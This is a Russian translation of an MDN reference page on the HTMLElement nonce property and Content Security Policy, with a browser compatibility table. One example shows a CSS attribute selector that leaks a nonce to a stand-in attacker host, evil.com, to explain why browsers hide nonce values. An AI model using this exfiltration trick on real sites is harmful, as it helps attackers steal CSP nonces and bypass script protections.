Spec-Zone.ru › Web APIs

HTMLElement: свойство nonce

Базовая Широко доступно

Эта функция хорошо отработана и работает на многих устройствах и версиях браузеров. Она доступна в браузерах с августа 2016 года.

  • Подробнее
  • Полная совместимость
  • Отправить отзыв

Свойство nonce интерфейса HTMLElement возвращает одноразовое криптографическое число, используемое политикой Content Security Policy для определения разрешения загрузки.

В более поздних реализациях элементы предоставляют своё свойство nonce только скриптам (а не каналам стороннего доступа, таким как селекторы атрибутов CSS).

Примеры

Получение значения nonce

Раньше не все браузеры поддерживали свойство nonce IDL, поэтому использовался обходной путь с применением getAttribute в качестве резервного варианта:

let nonce = script["nonce"] || script.getAttribute("nonce");

Однако, в современных версиях браузеров значения nonce скрыты при доступе этим способом (будет возвращена пустая строка). Свойство IDL (script['nonce']) остаётся единственным способом доступа к nonce.

Скрытие nonce помогает предотвратить извлечение злоумышленниками данных nonce через механизмы, способные извлекать данные из атрибутов контента, например, с помощью такого селектора CSS:

script[nonce~="whatever"] {
  background: url("https://evil.com/nonce?whatever");
}

Спецификации

Спецификация
HTML
# dom-noncedelement-nonce

Совместимость с браузерами

Рабочие столы Мобильные устройства
Chrome Edge Firefox Opera Safari Chrome Android Firefox for Android Opera Android Safari на iOS Samsung Internet WebView Android
nonce 61 79 75 48 15.4
10–15.4Свойство определено только для полезных элементов: <link>, <script>, и <style>; оно не определено для других элементов.
61 79 45 15.4
10–15.4Свойство определено только для полезных элементов: <link>, <script>, и <style>; оно не определено для других элементов.
8.0 61

См. также

  • nonce глобальный атрибут
  • Политика безопасности контента
  • Политика безопасности контента: script-src

© 2005–2024 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/nonce

Spec-Zone.ru

Настройки Оффлайн Что нового Помощь О нас
Spec-Zone .ru
спецификации, руководства, описания, API